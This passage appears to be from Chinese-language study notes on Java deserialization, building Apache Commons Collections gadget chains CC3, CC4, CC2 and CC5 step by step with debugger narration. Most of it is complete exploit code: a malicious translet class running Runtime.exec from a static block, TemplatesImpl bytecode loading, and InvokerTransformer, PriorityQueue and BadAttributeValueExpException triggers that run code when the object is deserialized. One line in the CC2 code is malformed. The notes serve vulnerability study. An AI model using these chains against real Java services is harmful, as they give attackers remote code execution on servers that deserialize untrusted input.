//        HashMap<Object,Object> map=new HashMap<>();
//        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
//        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//        annotationInvocationHandlerConstructor.setAccessible(true);
//        InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
//        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
//        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
//        serialize(o);
//        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20230730225409015

422行跟进

image-20230730225447241

 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {//判断传入类是否继承ABSTRACT_TRANSLET
                    _transletIndex = i;//赋值,这个不赋值时-1后面哪个if过不去
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                
                
 private static String ABSTRACT_TRANSLET
      = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";//继承一下

package org.example;

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class hello extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    public static void main(String[] args) {
        System.out.println("111");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

package cc;//jdk8u65  commons-collections 3.2.1

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

        Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
        tfactory.setAccessible(true);
        tfactory.set(templatesImpl,new TransformerFactoryImpl());
        templatesImpl.newTransformer();
//
//        Transformer[] transforms=new Transformer[]{
//                new ConstantTransformer(Runtime.class),
//                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
//        };
//        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
//        chainedTransformer.transform(1);
//
        templatesImpl.newTransformer();
//
//        HashMap<Object,Object> map=new HashMap<>();
//        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
//        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
//        annotationInvocationHandlerConstructor.setAccessible(true);
//        InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
//        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
//        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
//        serialize(o);
//        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20230730230348298

拼接cc1

package cc;//jdk8u65  commons-collections 3.2.1

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

        //Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
       // tfactory.setAccessible(true);
       // tfactory.set(templatesImpl,new TransformerFactoryImpl());//测试时需要进行赋值在序列化反序列是不用
        templatesImpl.newTransformer();

        Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(templatesImpl),
                (Transformer) new InvokerTransformer("newTransformer", null,null)
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);

        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

至此

image-20230730230425277

完工

不使用InvokerTransformer.transform() 方法

image-20230801161442245

通过上面哪个templatesImpl的newtemplatesImpl方法我们找他

image-20230801162435462

    public TrAXFilter(Templates templates)  throws//公开的
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();//templates参数可控
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

找到此即表示我们可以只需找到一个实例化的东东即可

 public Object transform(Object input) {//InstantiateTransformer类
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);//当传入一个Object时实例化

    。。。。。

我们可用通过InstantiateTransformer的transform对其进行实例化,看一下构造函数

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }//数组形式,第一个不重要 第二个为templatesImpl就好结合cc1完成闭合

playload:

package cc;//jdk8u65  commons-collections 3.2.1

import com.sun.org.apache.xalan.internal.xsltc.compiler.Template;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, NoSuchMethodException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

//        Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
//        tfactory.setAccessible(true);
//        tfactory.set(templatesImpl,new TransformerFactoryImpl());

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
//        instantiateTransformer.transform(TrAXFilter.class);
//
        org.apache.commons.collections.Transformer[] transforms=new org.apache.commons.collections.Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
//        chainedTransformer.transform(1);

//        templatesImpl.newTransformer();

        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstructor.setAccessible(true);
        InvocationHandler h = (InvocationHandler)annotationInvocationHandlerConstructor.newInstance(Override.class,lazyMap);
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
        Object o=annotationInvocationHandlerConstructor.newInstance(Override.class,mapProxy);
        serialize(o);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

cc4

image-20230801172015099

cc4这条链是commons.collections4本版的TransformingComparator类image-20230801172543591

在4.0版本中TransformingComparator实现了Serializable导致了一条攻击链

public int compare(final I obj1, final I obj2) {//TransformingComparator的compare方法调用了transform方法
        final O value1 = this.transformer.transform(obj1);//且this.transformer参数可控
        final O value2 = this.transformer.transform(obj2);//这给cc3的InstantiateTransformer.transform提供入口
        return this.decorated.compare(value1, value2);//查找哪个compare方法即可
    }

image-20230801173355180

这个很多个。。。最终我们找到 PriorityQueue的siftUpUsingComparator方法

 private void siftUpUsingComparator(int k, E x) {//私有方法
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0)
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }//往上查找
private void siftDown(int k, E x) {//私有方法
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }//往上查找
private void heapify() {//私有方法
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }//往上查找
private void readObject(java.io.ObjectInputStream s)//readObject类  oklou
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }

image-20230801174402354

cc4至此完成开始连贯起来

package cc;//jdk8u71  commons-collections 4.0

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

//        Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
//        tfactory.setAccessible(true);
//        tfactory.set(templatesImpl,new TransformerFactoryImpl());
//        templatesImpl.newTransformer();//实例化

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
//        instantiateTransformer.transform(TrAXFilter.class);
//
       Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
       };
       ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
//--------------------------------------------上面是cc3的后半部分不用改----------------------------------------//
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
        serialize(cc4);
        unserialize("ser.txt");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image-20230801175337250

发现运行后无反应下个断点看一下PriorityQueue类内部传参情况(反序列化从readObject开始)

image-20230801175604259

image-20230801175829069

步入

image-20230801175922676

测试发现size的值必须大于2找一下size的赋值

image-20230801180117667

初始值 0

image-20230801180415528

其实add几下size为几改一下

package cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

//        Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
//        tfactory.setAccessible(true);
//        tfactory.set(templatesImpl,new TransformerFactoryImpl());
//        templatesImpl.newTransformer();//实例化

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
//        instantiateTransformer.transform(TrAXFilter.class);


//
       Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
       };
       ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);

//        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1) );
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
        cc4.add(1);
        cc4.add(2);
//        Class c=TransformingComparator.class;
//        Field transformsField = c.getDeclaredField("transformer");
//        transformsField.setAccessible(true);
//        transformsField.set(transformingComparator,chainedTransformer);
        serialize(cc4);
        unserialize("ser.txt");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

运行后报错接着调试断点下在cc4.add(2);。。。跟进一下就会发现cc4.add(2)的时候compare会被调用导致错误这个就和cc6中的

image-20230801183127456

这个挺像我们可用先随便new一个传入然后通过反射进行更改

playload:

package cc;//jdk8u71  commons-collections 4.0

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc4 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc =templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl,"aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes={code};
        by.set(templatesImpl,codes);

//        Field tfactory = tc.getDeclaredField("_tfactory");//在序列化时自动赋值
//        tfactory.setAccessible(true);
//        tfactory.set(templatesImpl,new TransformerFactoryImpl());
//        templatesImpl.newTransformer();//实例化

        InstantiateTransformer instantiateTransformer=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl});
//        instantiateTransformer.transform(TrAXFilter.class);

       Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
       };
       ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1) );
        PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
        cc4.add(1);
        cc4.add(2);
        Class c=TransformingComparator.class;//transformer这个就是构造名
        Field transformsField = c.getDeclaredField("transformer");
        transformsField.setAccessible(true);
        transformsField.set(transformingComparator,chainedTransformer);
        serialize(cc4);
        unserialize("ser.txt");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

至此cc4完成😄下断点我们跟进看一下

image-20230801183746570

image-20230801183843229

进入heapify size=2

image-20230801183857225

进入siftDown()

siftDoimage-20230801184001625

wnUsingComparator()

image-20230801184053705

步入TransformingComparator.compare

image-20230801184139165

步入InstantiateTransformer.transform

image-20230801184241417

完成实例化步入InstantiateTransformer.transform

image-20230801184329501

TrAXFilter完成

image-20230801184357287

任意类加载完成

cc2

image-20230803154721081

cc2这条链是jdk8u71 commons.collections4的这条链的成因是TransformingComparator类实现了Serializable而3版本并没有

image-20230803162503770

这个和c3的后半段相同只需找谁调用了transformer F7

image-20230803160520234

我们在TransformingComparator.compare找到他调用了transformer 且参数可控

最终我们在PriorityQueue类的siftUpUsingComparator中发现调用且参数可控

image-20230803161035648

接着发现PriorityQueue类siftDown中调用

image-20230803161403864

然后siftDown又在heapify中

image-20230803161447393

最终

image-20230803161611122

readObject又调用即c2链完成闭合

image-20230803161714801

package cc;//jdk8u71  commons-collections 4.0
//   走的InvokerTransformer.transform()
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        Class tc = templatesImpl.getClass();
        Field nameFieid = tc.getDeclaredField("_name");
        nameFieid.setAccessible(true);
        nameFieid.set(templatesImpl, "aaa");
        Field by = tc.getDeclaredField("_bytecodes");
        by.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:/Users/17935/Desktop/JAV/target/classes/org/example/hello.class"));//_bytecodes是二维数组中间会有遍历操作而defineClass()参数是一维数组的字节
        byte[][] codes = {code};
        by.set(templatesImpl, codes);


        InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
//------------------------------------------这是c4的不用东--------------------------------------------------------
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
        //这个是先随便传一个防止开始InvokerTransformer的方法名为newTransformer就会在构造序列化的时候触发利用链,而且另一个templatesImpl没有被写入导致噶。
        PriorityQueue<Object> cc4 = new PriorityQueue<>(transformingComparator);
        cc4.add(templatesImpl);//通过add传参使size值变成2进入哪个判断语句
        cc4.add(2);invokerTransformer
        Class c = TransformingComparator.class;//templatesImpl写入后反射修改invokerTransformer
        Field transformsField = c.getDeclaredField("transformer");
        transformsField.setAccessible(true);
        transformsField.set(transformingComparator, invokerTransformer);
        serialize(cc4);
        unserialize("ser.txt");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

动态验证:

image-20230803163904778

image-20230803163923196

进行add

image-20230803164624657

image-20230803164653128

size=1

image-20230803164803620

templatesImpl写入

image-20230803164856912

image-20230803165112881

add两次第一次传入的是new的没啥用的值防止数据没写入完就执行导致报错

 TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1))

image-20230803165216798

size=2进行写入

cc4.add(templatesImpl);
cc4.add(2);//下面哪个运行后i是1所以第一个add是写入templatesImpl 第二个无所谓

image-20230803165258180

size=2进入for语句

image-20230803165420521

image-20230803165503692

image-20230803165514986

image-20230803165551305

image-20230803170010851

image-20230803170055810

到这了懒得跟进了 。。。

cc5

image-20230803175310957

cc5链还是使用了lazyMap.get()这个方法他和c6一样也是使用TiedMapEntry类作为中间类但他使用的是toString方法我们可以跟进看一哈

    public String toString() {
        return getKey() + "=" + getValue();//同样调用getValue方法调用get
    }
    
     public Object getValue() {
        return map.get(key);
    }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {//valObj这个传参其实问一下人工智杖就行大概就是val吧
            val = valObj.toString();//BadAttributeValueExpException的readObject调用了toString方法
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

结合cc1 playload:

package cc;//jdk8u71  commons-collections 3.2.1

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc5 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
//        BadAttributeValueExpException;
//        TiedMapEntry
//       new BadAttributeValueExpException();
        Transformer[] transforms=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                (Transformer) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                (Transformer) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                (Transformer) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer =new ChainedTransformer(transforms);
        HashMap<Object,Object> map=new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
        TiedMapEntry c5 = new TiedMapEntry(lazyMap,"ss");
//        c5.toString();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class cc5 = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = cc5.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,c5);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
